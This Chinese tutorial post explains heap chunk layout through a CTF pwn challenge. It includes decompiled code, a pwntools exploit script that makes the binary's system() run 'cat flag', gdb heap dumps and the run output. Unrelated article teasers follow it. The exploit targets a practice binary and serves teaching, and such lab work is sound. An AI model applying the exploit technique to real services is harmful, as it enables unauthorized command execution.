当前位置: 首页 > news >正文

堆的基本概念

1.1 堆的基本概念

虚拟机所在目录

E:\ctf\pwn-self

进入虚拟机的pwndocker环境

holyeyes@ubuntu:~$ pwd
/home/holyeyes
holyeyes@ubuntu:~$ sudo ./1run.sh

IDA分析

int __fastcall main(int argc, const char **argv, const char **envp)
{
void *v4; // [rsp+20h] [rbp-10h]
char *command; // [rsp+28h] [rbp-8h]

init();
puts(“Welcome to my easy heap challenge 4!”);
v4 = malloc(0x80uLL);
printf(“heap addr: %llx\n”, v4);
strcpy((char *)malloc(0x80uLL), “cat flag\n”);
puts(“Where is your flag?”);
command = (char *)read_int();
system(command);
return 0;
}

PWNgdb分析

chmod +x pwn
pwndbg> r
Starting program: /ctf/work/erjinzhi/1.1/pwn
Welcome to my easy heap challenge 4!
heap addr: 602010
Where is your flag?

原理

0 堆的位置与作用

0.1

在这里插入图片描述

0.2

在这里插入图片描述

1 chunk的概念

在这里插入图片描述

2 chunk的实现原理

2.1

在这里插入图片描述

2.2

在这里插入图片描述

2.3

在这里插入图片描述

2.4

在这里插入图片描述

思路分析

堆的基本概念考察,堆是连续分布的,以chunk为单位提供给用户使用
程序给出了一个chunk的地址,逆向可知该chunk的大小为0x90(0x80的data加上0x10的头部)。
随后将一个字符串复制到另一个chunk中。
strcpy(malloc(0x80), “cat flag\n”);
由于两个chunk是连续分配的,所以可知chunk2就在chunk1的后面,字符串的地址为返回的chunk1的mem地址加上0x80的chunk1 data再加一个chunk2的头部。

EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-from pickle import TRUE
from pwn import *
import syscontext.terminal=["tmux","sp","-h"]
context.log_level='debug'
#context.arch='i386'DEBUG = 1LOCAL = True
BIN   ='./pwn'
HOST  ='node5.buuoj.cn'
PORT  =29924def get_base_address(proc):return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)def debug(bps,_s):script = "handle SIGALRM ignore\n"PIE = get_base_address(p)script += "set $_base = 0x{:x}\n".format(PIE)for bp in bps:script += "b *0x%x\n"%(PIE+bp)script += _sgdb.attach(p,gdbscript=script)def exploit(p):p.recvuntil("heap addr:")heap = int(p.recvline(), 16)p.sendlineafter("flag?\n", str(heap + 0x90))p.interactive()returnif __name__ == "__main__":elf = ELF(BIN)if len(sys.argv) > 1:LOCAL = Falsep = remote(HOST, PORT)exploit(p)else:LOCAL = Truep = process(BIN)log.info('PID: '+ str(proc.pidof(p)[0]))# pauseif DEBUG:debug([],"")exploit(p)

运行结果

tmux
ctrL+b+:set -g mouse on

root@pwn_test1604:/ctf/work/erjinzhi/1.1# python 1.py                                     │ RSP  0x7ffd509fd6d8 —▸ 0x400884 (read_int+45) ◂— mov    dword ptr [rbp - 0x24], eax
[DEBUG] PLT 0x40065c puts                                                                 │ RIP  0x7fa19c36b260 (__read_nocancel+7) ◂— cmp    rax, -0xfff
[DEBUG] PLT 0x40065c puts                                                                 │────────────────────────────────────────[ DISASM ]────────────────────────────────────────
[DEBUG] PLT 0x400670 __stack_chk_fail                                                     │ ► 0x7fa19c36b260 <__read_nocancel+7>     cmp    rax, -0xfff
[DEBUG] PLT 0x400680 system                                                               │   0x7fa19c36b266 <__read_nocancel+13>    jae    read+73 <0x7fa19c36b299>
[DEBUG] PLT 0x400690 printf                                                               │    ↓
[DEBUG] PLT 0x4006a0 read                                                                 │   0x7fa19c36b299 <read+73>               mov    rcx, qword ptr [rip + 0x2ccbd8]
[DEBUG] PLT 0x4006b0 __libc_start_main                                                    │   0x7fa19c36b2a0 <read+80>               neg    eax
[DEBUG] PLT 0x4006c0 malloc                                                               │   0x7fa19c36b2a2 <read+82>               mov    dword ptr fs:[rcx], eax
[DEBUG] PLT 0x4006d0 setvbuf                                                              │   0x7fa19c36b2a5 <read+85>               or     rax, 0xffffffffffffffff
[DEBUG] PLT 0x4006e0 atol                                                                 │   0x7fa19c36b2a9 <read+89>               ret    
[DEBUG] PLT 0x4006f0 __gmon_start__                                                       │ 
[*] '/ctf/work/erjinzhi/1.1/pwn'                                                          │   0x7fa19c36b2aa                         nop    word ptr [rax + rax]Arch:     amd64-64-little                                                             │   0x7fa19c36b2b0 <write>                 cmp    dword ptr [rip + 0x2d2489], 0 <0x7fa19c63RELRO:    Partial RELRO                                                               │d740>Stack:    Canary found                                                                │   0x7fa19c36b2b7 <write+7>               jne    write+25 <0x7fa19c36b2c9>NX:       NX enabled                                                                  │    ↓PIE:      No PIE (0x400000)                                                           │   0x7fa19c36b2c9 <write+25>              sub    rsp, 8
[+] Starting local process './pwn': pid 469                                               │────────────────────────────────────────[ STACK ]─────────────────────────────────────────
[*] PID: 469                                                                              │00:0000│ rsp  0x7ffd509fd6d8 —▸ 0x400884 (read_int+45) ◂— mov    dword ptr [rbp - 0x24], e
[DEBUG] Wrote gdb script to '/tmp/pwnrptYUI.gdb'                                          │axfile ./pwn                                                                            │01:0008│      0x7ffd509fd6e0 ◂— 0x13handle SIGALRM ignore                                                                 │02:0010│      0x7ffd509fd6e8 —▸ 0x7fa19c639620 (_IO_2_1_stdout_) ◂— 0xfbad2887set $_base = 0x400000                                                                 │03:0018│ rsi  0x7ffd509fd6f0 —▸ 0x400a0e ◂— push   rdi /* 'Where is your flag?' */
[*] running in new terminal: /usr/bin/gdb -q  "./pwn" 469 -x "/tmp/pwnrptYUI.gdb"         │04:0020│      0x7ffd509fd6f8 —▸ 0x7fa19c2e37fa (puts+362) ◂— cmp    eax, -1
[DEBUG] Launching a new terminal: ['/usr/bin/tmux', 'sp', '-h', '/usr/bin/gdb -q  "./pwn" │05:0028│      0x7ffd509fd700 ◂— 0x0
469 -x "/tmp/pwnrptYUI.gdb"']                                                             │06:0030│      0x7ffd509fd708 ◂— 0xbfc2dfd72a027f00
[+] Waiting for debugger: Done                                                            │07:0038│ rbp  0x7ffd509fd710 —▸ 0x7ffd509fd750 —▸ 0x400950 (__libc_csu_init) ◂— push   r15
[DEBUG] Received 0x4c bytes:                                                              │──────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────'Welcome to my easy heap challenge 4!\n'                                              │ ► f 0     7fa19c36b260 __read_nocancel+7'heap addr: 22be010\n'                                                                │   f 1           400884 read_int+45'Where is your flag?\n'                                                               │   f 2           40092f main+124
[DEBUG] Sent 0x9 bytes:                                                                   │   f 3     7fa19c294830 __libc_start_main+240'36429984\n'                                                                          │pwndbg> c
[*] Switching to interactive mode                                                         │Continuing.
[DEBUG] Received 0xf bytes:                                                               │[New process 481]'flag{11111111}\n'                                                                    │process 481 is executing new program: /bin/dash
flag{11111111}[New process 482]
[*] Process './pwn' stopped with exit code 0 (pid 469)                                    │process 482 is executing new program: /bin/cat
[*] Got EOF while reading in interactive                                                  │[Inferior 3 (process 482) exited normally]
$           pwndbg> parseheapfile ./pwn                                                                            │addr                prev                size                 status              fd       handle SIGALRM ignore                                                                 │         bk                set $_base = 0x400000                                                                 │0x192c000           0x0                 0x90                 Used                None     
[*] running in new terminal: /usr/bin/gdb -q  "./pwn" 624 -x "/tmp/pwnR_WTJ8.gdb"         │         None
[DEBUG] Launching a new terminal: ['/usr/bin/tmux', 'sp', '-h', '/usr/bin/gdb -q  "./pwn" │0x192c090           0x0                 0x90                 Used                None     
624 -x "/tmp/pwnR_WTJ8.gdb"']                                                             │         None
[+] Waiting for debugger: Done                                                            │pwndbg> x/20gx 0x192c000
[DEBUG] Received 0x4c bytes:                                                              │0x192c000:      0x0000000000000000      0x0000000000000091'Welcome to my easy heap challenge 4!\n'                                              │0x192c010:      0x0000000000000000      0x0000000000000000'heap addr: 192c010\n'                                                                │0x192c020:      0x0000000000000000      0x0000000000000000'Where is your flag?\n'                                                               │0x192c030:      0x0000000000000000      0x0000000000000000
[DEBUG] Sent 0x9 bytes:                                                                   │0x192c040:      0x0000000000000000      0x0000000000000000'26394784\n'                                                                          │0x192c050:      0x0000000000000000      0x0000000000000000
[*] Switching to interactive mode                                                         │0x192c060:      0x0000000000000000      0x0000000000000000
$                                                                                         │0x192c070:      0x0000000000000000      0x0000000000000000│0x192c080:      0x0000000000000000      0x0000000000000000│0x192c090:      0x0000000000000000      0x0000000000000091│pwndbg> x/20gx 0x192c090│0x192c090:      0x0000000000000000      0x0000000000000091│0x192c0a0:      0x67616c6620746163      0x000000000000000a│0x192c0b0:      0x0000000000000000      0x0000000000000000│0x192c0c0:      0x0000000000000000      0x0000000000000000│0x192c0d0:      0x0000000000000000      0x0000000000000000│0x192c0e0:      0x0000000000000000      0x0000000000000000│0x192c0f0:      0x0000000000000000      0x0000000000000000│0x192c100:      0x0000000000000000      0x0000000000000000│0x192c110:      0x0000000000000000      0x0000000000000000│0x192c120:      0x0000000000000000      0x0000000000020ee1│pwndbg> 

相关文章:

堆的基本概念

1.1 堆的基本概念 虚拟机所在目录 E:\ctf\pwn-self 进入虚拟机的pwndocker环境 holyeyesubuntu:~$ pwd /home/holyeyes holyeyesubuntu:~$ sudo ./1run.sh IDA分析 int __fastcall main(int argc, const char **argv, const char **envp) { void *v4; // [rsp20h] [rbp-1…...

Android车机DIY开发之软件篇(九) NXP AutomotiveOS编译

Android车机DIY开发之软件篇(十一) NXP AutomotiveOS编译 Google 在汽车上也提供了用于汽车的 Google 汽车服务&#xff08;GAS&#xff0c;Google Automotive Service&#xff09;&#xff0c;包含有 Google 地图、应用市场、Google 汽车助理等等。Google 汽车服务同样没有开…...

嵌入式工程师必学(143):模拟信号链基础

概述: 我们每天使用的许多电子设备,以及我们赖以生存的电子设备,如果不使用电子工程师设计的实际输入信号,就无法运行。 模拟信号链由四个主要元件组成:传感器、放大器、滤波器和模数转换器 (ADC)。这些传感器用于检测、调节模拟信号并将其转换为适合由微控制器或其他数…...

《LLM大语言模型深度探索与实践:构建智能应用的新范式,融合代理与数据库的高级整合》

文章目录 Langchain的定义Langchain的组成三个核心组件实现整个核心组成部分 为什么要使用LangchainLangchain的底层原理Langchain实战操作LangSmithLangChain调用LLM安装openAI库-国内镜像源代码运行结果小结 使用Langchain的提示模板部署Langchain程序安装langserve代码请求格…...

e2studio开发RA2E1(5)----GPIO输入检测

e2studio开发RA2E1.5--GPIO输入检测 概述视频教学样品申请硬件准备参考程序源码下载新建工程工程模板保存工程路径芯片配置工程模板选择时钟设置GPIO口配置按键口配置按键口&Led配置R_IOPORT_PortRead()函数原型R_IOPORT_PinRead()函数原型代码 概述 本篇文章主要介绍如何…...

Spring @Lazy:延迟初始化,为应用减负

在Spring框架中&#xff0c;Lazy注解的作用非常直观&#xff0c;它就是用来告诉Spring容器&#xff1a;“嘿&#xff0c;这个Bean嘛&#xff0c;先别急着创建和初始化&#xff0c;等到真正需要用到的时候再弄吧&#xff01;” 默认情况下&#xff0c;Spring容器在启动时会立即创…...

将OneDrive上的文件定期备份到移动硬盘

背景&#xff1a; 我在oneDrive上存了很多文件&#xff0c;分布在多个文件夹中&#xff0c;也有套了好几层文件夹的情况。我希望每隔一段时间&#xff0c;将oneDrive上的所有文件向移动硬盘上拷贝一份&#xff0c;但是我只想将距离上一次向移动硬盘拷贝的文件相比&#xff0c;发…...

从0开始,来看看怎么去linux排查Java程序故障

一&#xff0c;前提准备 最基本前提&#xff1a;你需要有liunx环境&#xff0c;如果没有请参考其它文献在自己得到local建立一个虚拟机去进行测试。 有了虚拟机之后&#xff0c;你还需要安装jdk和配置环境变量 1. 安装JDK&#xff08;以OpenJDK 17为例&#xff09; 下载JDK…...

DeepSeek-V3:开源多模态大模型的突破与未来

目录 引言 一、DeepSeek-V3 的概述 1.1 什么是 DeepSeek-V3&#xff1f; 1.2 DeepSeek-V3 的定位 二、DeepSeek-V3 的核心特性 2.1 多模态能力 2.2 开源与可扩展性 2.3 高性能与高效训练 2.4 多语言支持 2.5 安全与伦理 三、DeepSeek-V3 的技术架构 3.1 模型架构 3…...

Deep Sleep 96小时:一场没有硝烟的科技保卫战

2025年1月28日凌晨3点&#xff0c;当大多数人还沉浸在梦乡时&#xff0c;一场没有硝烟的战争悄然打响。代号“Deep Sleep”的服务器突遭海量数据洪流冲击&#xff0c;警报声响彻机房&#xff0c;一场针对中国关键信息基础设施的网络攻击来势汹汹&#xff01; 面对美国发起的这场…...

Redis地理散列GeoHash

GeoHash是一种用于地理位置编码的算法&#xff0c;将二维的地理坐标&#xff08;纬度和经度&#xff09;转换为一维的字符串表示&#xff0c;从而实现对地理位置的高效存储和查询。Redis作为一个内存数据库&#xff0c;提供了对GeoHash的支持&#xff0c;使得地理位置相关的数据…...

JAVA安全—反射机制攻击链类对象成员变量方法构造方法

前言 还是JAVA安全&#xff0c;哎&#xff0c;真的讲不完&#xff0c;太多啦。 今天主要是讲一下JAVA中的反射机制&#xff0c;因为反序列化的利用基本都是要用到这个反射机制&#xff0c;还有一些攻击链条的构造&#xff0c;也会用到&#xff0c;所以就讲一下。 什么是反射…...

专业学习|一文了解并实操自适应大邻域搜索(讲解代码)

一、自适应大邻域搜索概念介绍 自适应大邻域搜索&#xff08;Adaptive Large Neighborhood Search&#xff0c;ALNS&#xff09;是一种用于解决组合优化问题的元启发式算法。以下是关于它的详细介绍&#xff1a; -自适应大领域搜索的核心思想是&#xff1a;破坏解、修复解、动…...

9. k8s二进制集群之kube-controller-manager部署

同样在部署主机上创建证书请求文件(为之后的证书生成做准备)根据上面的证书文件创建证书(结果会在当前目录下产生kube-controller-manager证书)创建kube-controller-manager服务配置文件创建kube-controller-manager服务启动文件同步kube-controller-manager证书到对应mast…...

轮转数组-三次逆置

题目 给定一个整数数组 nums&#xff0c;将数组中的元素向右轮转 k 个位置&#xff0c;其中 k 是非负数。 void rotate(int* nums, int numsSize, int k){}示例&#xff1a; 输入: nums [1,2,3,4,5,6,7], k 3 输出: [5,6,7,1,2,3,4] 解释: 向右轮转 1 步: [7,1,2,3,4,5,6] …...

3 卷积神经网络CNN

1 Image Classification (Neuron Version) – 1.1 Observation 1 1.2 Observation 2 如果不同的receptive field需要相同功能的neuron&#xff0c;可以使这些neuron共享参数 1.3 Benefit of Convolutional Layer 2 Image Classification (Filter Version) 不用担心filter大小…...

穷举vs暴搜vs深搜vs回溯vs剪枝系列一>黄金矿工

目录 决策树&#xff1a;代码设计代码&#xff1a; 决策树&#xff1a; 代码设计 代码&#xff1a; class Solution {boolean[][] vis;int ret,m,n;public int getMaximumGold(int[][] grid) {m grid.length;n grid[0].length;vis new boolean[m][n]; for(int i 0; i <…...

java基础1(黑马)

一、初识Java 1.Java背景知识 1&#xff09;Java是美国SUN公司在1995年推出的一门计算机高级编程语言。 2&#xff09;Java早期名称为OAK&#xff0c;后来才改为Java。 3&#xff09;Java之父&#xff1a;詹姆斯高斯林。 4&#xff09;2009年&#xff0c;SUN公司被Oracle公…...

ES6 对象扩展:对象简写,对象属性 表达式,扩展运算符 ...,Object.assign,Object.is,用法和应用场景

1. 对象属性简写 1.1 基本语法 // 传统写法 const name John; const age 25; const user {name: name,age: age };// ES6 简写语法 const user {name,age };1.2 实际应用场景 // 1. 函数返回对象 function createUser(name, age, email) {return {name,age,email}; }// …...

2025 持续防范 GitHub 投毒,通过 Sharp4SuoExplorer 分析 Visual Studio 隐藏文件

在2024年底的网络安全事件中&#xff0c;某提权工具被发现植入后门&#xff0c;攻击者利用 .suo 文件作为隐蔽的攻击方式。由于 .suo 文件是 Visual Studio 项目的隐藏配置文件&#xff0c;通常不为安全研究人员所关注&#xff0c;因此为攻击者提供了潜在的攻击渠道。 初步调查…...

【2026年阿里巴巴集团暑期实习- 5月16日-算法岗-第二题- 坏掉的键盘】(题目+思路+JavaC++Python解析+在线测试)

题目内容 小明准备输入一个仅由小写英文字母组成的字符串,但他的键盘在一开始就有且仅有一个按键失灵,导致该字母在原串中的所有出现都没有被输入,最终得到的字符串为 sss。小明还告诉你:原本要输入的完整字符串中任意相邻两个字符都不相同。 请你计算,对于每一个可能的…...

【仿真学习框架】MultiModalWBC 完全指南:从入门到精通的多模态全身控制框架

版本: v1.0 | 日期: 2026-05-15 目标读者: 具身智能研究者、机器人学习工程师、人形机器人开发者 前置知识: 基础强化学习(PPO)、PyTorch、刚体动力学概念 📑 目录 1. 初见 MultiModalWBC:我们到底在解决什么问题? 1.1 人形机器人控制的"碎片化"困境 1.2 多模态…...

基于HTML5 Canvas的轻量级图像标注库visual-annotator集成指南

1. 项目概述&#xff1a;一个为开发者打造的视觉标注利器如果你做过图像识别、目标检测或者任何需要处理大量图片标注的计算机视觉项目&#xff0c;那你一定对标注工具不陌生。从早期的LabelImg到后来的CVAT、Label Studio&#xff0c;工具的选择往往决定了你项目前期数据准备的…...

ASPICE汽车软件开发标准:V模型、能力等级与核心过程实战解析

1. 项目概述&#xff1a;为什么我们需要ASPICE这张“汽车软件地图”如果你在汽车行业&#xff0c;尤其是涉及软件、电子电气或系统开发的岗位待过一阵子&#xff0c;大概率会频繁听到一个词&#xff1a;ASPICE。它可能出现在项目启动会上&#xff0c;出现在供应商审核清单里&am…...

Topit:macOS窗口置顶的终极解决方案,开源高效的多任务开发利器

Topit&#xff1a;macOS窗口置顶的终极解决方案&#xff0c;开源高效的多任务开发利器 【免费下载链接】Topit Pin any window to the top of your screen / 在Mac上将你的任何窗口强制置顶 项目地址: https://gitcode.com/gh_mirrors/to/Topit Topit是一款专为macOS系统…...

从零开始通过Taotoken平台文档快速完成首个大模型API调用

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 从零开始通过Taotoken平台文档快速完成首个大模型API调用 对于初次接触大模型API的开发者而言&#xff0c;面对众多模型厂商、复杂…...

FSearch终极指南:如何在Linux上实现秒级文件搜索

FSearch终极指南&#xff1a;如何在Linux上实现秒级文件搜索 【免费下载链接】fsearch A fast file search utility for Unix-like systems based on GTK3 项目地址: https://gitcode.com/gh_mirrors/fs/fsearch 还在为Linux系统中查找文件而烦恼吗&#xff1f;FSearch是…...

Akebi-GC游戏辅助工具:5个核心模块深度解析与实战应用指南

Akebi-GC游戏辅助工具&#xff1a;5个核心模块深度解析与实战应用指南 【免费下载链接】Akebi-GC (Fork) The great software for some game that exploiting anime girls (and boys). 项目地址: https://gitcode.com/gh_mirrors/ak/Akebi-GC Akebi-GC是一款专为特定游戏…...

手把手教你用Python脚本给飞书机器人“喂”数据:Gerrit事件通知实战

Python自动化实战&#xff1a;用飞书机器人构建Gerrit事件通知系统 每当团队协作开发时&#xff0c;代码审查状态的实时同步总是让人头疼。想象一下&#xff1a;你刚提交的代码被同事点赞&#xff0c;或是某个关键补丁集终于通过审核——这些重要时刻如果能在飞书群里即时提醒&…...

ARM架构TLB机制与TLBI指令详解

1. ARM TLB机制与TLBI指令概述在ARM架构中&#xff0c;TLB&#xff08;Translation Lookaside Buffer&#xff09;是内存管理单元&#xff08;MMU&#xff09;的核心组件&#xff0c;负责缓存虚拟地址到物理地址的转换结果。当CPU访问内存时&#xff0c;首先查询TLB获取地址转换…...